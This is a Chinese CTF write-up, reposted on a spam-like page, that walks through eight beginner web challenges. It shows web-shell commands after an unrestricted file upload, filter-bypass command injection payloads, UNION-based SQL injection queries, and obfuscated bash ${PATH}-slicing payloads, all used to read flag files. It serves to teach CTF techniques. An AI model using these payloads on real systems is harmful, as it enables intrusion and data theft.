当前位置: 首页 > news >正文

win10虚拟机做网站成都短视频代运营

win10虚拟机做网站,成都短视频代运营,杭州自助建站软件,软件项目外包网站目录 1、robots 2、NOF12 3、get_post 4、好事慢磨 5、uploads 6、rce 7、ezsql 8、RCE 1、robots robots 协议又叫爬虫协议,访问 robots.txt 继续访问 /JAY.php 拿到 flag:flag{hello_Do_YOU_KONw_JAY!} 2、NOF12 F12 和右键都被禁用 方法&#…

目录

 

1、robots

2、NOF12

3、get_post

4、好事慢磨

5、uploads

6、rce

7、ezsql

8、RCE


 

1、robots

b87634594d1b4a6ba0f60c69d1cbb996.png

robots 协议又叫爬虫协议,访问 robots.txt

f4d2b94903ed4c8296c6ca8f9c3ad030.png

继续访问 /JAY.php

f6f9d62f6b1449a0b390f2102b923ce8.png

拿到 flag:flag{hello_Do_YOU_KONw_JAY!}

 

2、NOF12

28b02c0df0ad4f0fa5337e10ed6527f7.png

F12 和右键都被禁用

77393a4f82c8404a949d10286dc38669.png

方法(1)

通过浏览器点击打开开发人员工具

8b2ddbd634ee495180c08b0072a713ae.png

源码里看到 flag:flag{wellcome_TO_CTF!!!}

0a39c687feef4407805739b0435e5670.png

方法(2)

提前打开 F12 

3e3949754e74412bbdffe5bcd4d76451.png

再访问进入题目地址

06c621e73b1849039a655b7c6f093c27.png

 

3、get_post

基本的 get 和 post 传参方式,payload:

?a=helloctf
post:b=666

93ece1f2b88b41dea7da300570c99f55.png

两次 base64 解码

4fcc4ff636e1485a96988b59ff2dd436.png

31ff1b985147453989c6855db3f242ef.png

拿到 flag:flag{hello!!!it_so_easy}

 

4、好事慢磨

aa81707a9ba044bba786c4571c2ef3b6.png

简单测试一下可以发现 flag 一共有 300 位

3ca13818c924465d85a1801c71e21248.png

F12 在源码里看到 post 请求参数名为 hacker

191f6896127941cfa0721a3df88ddf18.png

试一下,确实可以正常回显

d7540774482248059a405e90c7e2e5b6.png

用 python 写个脚本跑就可以了

exp:


# @author:Myon
# @time:20240828
import requests
import reurl = 'http://snert.net.cn:10001/'
out = ''
for i in range(300):payload = {'hacker': f'{i}'}# print(payload)res = requests.post(url, data=payload)# print(res.text)match = re.search(r':(.+)', res.text)  # 匹配冒号后面的所有字符out += match.group(1)print(out)

563582a01c9e4d9fa80dd30f290ac436.png

拿到 flag:

flag{pa2hpl-pkfwbv42tnvv-qeviypz7z4xorksoo95so-9uv3m5jxq5mbhm154wjl3068eo-3985u36ahbqj7my1d7bv2ld2avi63utr5n3vga6dlgfnxjy-jzzvine7hx6mtl668v2cp9z46zem696rnkvw174couqof1e7d82hwutf-cfwayhsyebppztvmrgmo7dl1qf-dewym0i4y4v8kvd1cn1v1oqlqxbeqz5t1mt2kburhafuivsz7khbvcum-xbne6rgi9losgjii-3bqou8l7j5zjm264h9z}
 

 

5、uploads

6edbe3b6b4234e6dad98a78b61a1229e.png

没有任何过滤,直接传一句话木马

873feff7b1db4715a9f144c324c3e4c6.png

调用,在上一层目录看到 flag.php

cmd=system('ls ../');

21d83adb46c049b9860ca9a4079a011f.png

读取:

cmd=system('tac ../f*');

54a0f447d1cc4720a978113647aed044.png

拿到 flag:flag{BDQLKdC6yDJ2DxphWzJrWDjQsHnHTZ3s}

 

6、rce

3708b12559874353898775d260a67366.png

代码审计: 

post 传入 a,如果传入的内容里面有 cat 或者 flag,都会被替换为空,之后输出替换后剩下的内容,再将其传给 system 函数作为参数进行调用,输出返回的结果。

先看一下当前目录下有什么:

a=ls

88cb89dc615d4a41a3541ef25355396a.png

有一个叫 flag.php 的东西,注意这里有点容易看错,我一开始看成了 lsflag.php,其实前面的 ls 是我们执行的命令被 echo 输出了,所有真正的文件名应该是 flag.php。

方法(1):换一个读取命令,不使用 cat,结合通配绕过

payload:

a=tac f*

8bbb609705fc4dc1a72d71020c23ed7b.png

拿到 flag:flag{TTBnmqQa3cX0Hg6D522Y2Y7Pn3PZtog4}

当然还有很多其他的命令可以用,比如反向输出,问号进行通配等:

a=rev fla?.???

4fd787517a184fbcb1ae5cfedfa00d5b.png

方法(2):双写绕过

a=cacatt flaflagg.php

替换掉其中的 cat 和 flag 剩下的就是 cat flag.php 

f292eadee1894b71be02bc3b5256b49d.png

查看源代码即可看到 flag

f81019d0eac145de9ca87220338fafad.png

 

7、ezsql

729a4c952db64ee9a99c69fc91a87f7e.png

查询 Alex

返回 ID: 1 - Name: Alex - Password: Alex_123 

b7766ad2b9a7416987add3cb680ef7ab.png 

如果你查我的名字其实可以得到一个小提示

c3bf0ecc7c164b3f9874b52c8dd9053e.png

就是没有任何过滤的 sql 注入,关于 sqlmap 跑的我就不演示了,下面简单说一下手动注入的流程。

输入单引号报错:如果是萌新会很不理解为什么要这样为什么会报错,正如我提示里面所说,先去了解 sql 注入的原理吧。

07c6251273194f26907f7770f432d676.png

使用 # 注释掉后面内容,闭合成功

85644c695e3947cd8a61911a19c69083.png

由前面 Alex 的查询结果回显可以推断字段数为 3

直接查数据库下的所有表名: 

' union select 1,2,table_name from information_schema.tables where table_schema=database()#

6567c772e2ba483f83974cbd2c5f1cb2.png

可以看到存在一个名为 googthings 的表,查该表下的列名:

' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='goodthings'#

列名也是 username 和 password 

61fff9bc92bf4ed0abfb8a113246eca8.png

正如一开始题目所说,密码里面藏着东西,那么这里其实都不用查列名,直接查 goodthings

这个表下面的 password 列的内容即可:

' union select 1,2,password from goodthings #

bd26c77c85ac42b785a6bb534031bba5.png

拿到 flag:flag{war6m9-gyn6rl6q8ik1qp-pe4eqttoos7tl6o-dvxm9jmt3pk}

 

8、RCE

9859de8315d54300950a9217b232ca45.png

限制死了只能使用这些字符:{(FAST:HIP)}$~

出这道题的想法来源于我之前刷到过的两个题,一个是 Linux 内置环境变量

参考我之前的博客:

ctfshow-web入门-命令执行(web118详解)Linux 内置变量与Bash切片_web 118 ctfshow-CSDN博客https://blog.csdn.net/Myon5/article/details/140145005

光有 Linux 内置环境变量还不够,我们还需要用到切片操作,因此还需要构造数字,同样参考我之前的博客:web57

ctfshow-web入门-命令执行(web56、web57、web58)_ctfshow web57-CSDN博客https://blog.csdn.net/Myon5/article/details/139746224

这里我们利用上述字符可以构造出 $PATH

这个东西的前面部分基本上都是一样的:

827618c796864ed79a3532bd5d8456f1.png

1089283ffb824b4ba8bfc21499101ee6.png

cac80c7146784b1d8a79014bf60b72c6.png

9d1c02c276e54061a52099812563f27d.png 即:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 

所以这里默认这部分是我们已知的,我们利用切片操作就可以构造出 /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 里面的任意一个字符,进而我们就可以继续构造 ls、nl 等命令,空格我们使用 ${IFS} 代替。

详细看完我前两篇博客所说的内容,你就会真正理解 payload 是如何构造的。

构造 payload 读取根目录下面的文件:

ls /

即 

嘻嘻嘻=${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${IFS}${PATH:$(()):$((~$(($((~$(())))$((~$(())))))))}

b52a395b2023435dab7952132d3c1865.png

未见 flag 文件,但是存在一个名为 burn 的文件,这个文件名在根目录下是不常见的,结合 php 源码勇师傅有注释说:# flag被我烧掉了,burn 就是燃烧的意思。

构造 payload 读取这个文件:

nl /burn

即 

嘻嘻嘻=${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${IFS}${PATH:$(()):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}

3ce1189b9e8b434fab3356f3447835f9.png

拿到 flag:flag{r18s4bcp-ctvmmijn6a2g7-pnbrwudl}

 

这个题算是勇师傅最后弄的一个压轴题吧,不压一下第一天上午 web 就全穿了,除了这道,这次的 web 题都出的非常简单和基础,最后,期待大一大二的加入 SNERT 学习!

 

http://www.ds6.com.cn/news/96517.html

相关文章:

  • python做网站缺点网络营销成功案例
  • 合肥市城乡建设厅网站广州网络seo优化
  • 如何做网站静态页面百度快照优化公司
  • 博罗网站建设公司关键词搜索挖掘爱网站
  • 网站开发实现顺序提高工作效率的重要性
  • wordpress 指定首页郑州网站优化外包顾问
  • 广州做网站公司排名百度指数功能模块有哪些
  • 网站服务器 维护建什么网站可以长期盈利
  • 教你如何做网站bt磁力搜索器
  • mobi网站怎么注册seo诊断a5
  • wordpress 媒体目录千度seo
  • 品牌推广策划公司宁波seo教程app推广
  • 东莞做商城网站建设哪家好郑州网站制作
  • 寻花问柳专注做男人喜爱的网站写软文是什么意思
  • 建筑行业公司常州seo建站
  • 可以做一键拨号和导航的网站百度客户端下载
  • 做网站要学会什么日照网络推广
  • 重庆门户网站网络广告营销案例有哪些
  • 独立网站怎么做seo怎么免费搭建自己的网站
  • asp.net做简易网站太原百度搜索排名优化
  • 沈阳医疗网站制作网络推广软文
  • 视频制作表情包武汉seo收费
  • 网站模板交易品牌营销经典案例
  • 正规网站建设官网优化大师官方免费
  • 佛山做网站的哪个好自己怎么开电商平台
  • 外包网站设计公司海外网站cdn加速
  • 四站合一网站建设痘痘如何去除效果好
  • a站全名叫什么seo文章外包
  • 西安建设信息网官网宁波seo关键词
  • 做网站和优化网络营销师证书有用吗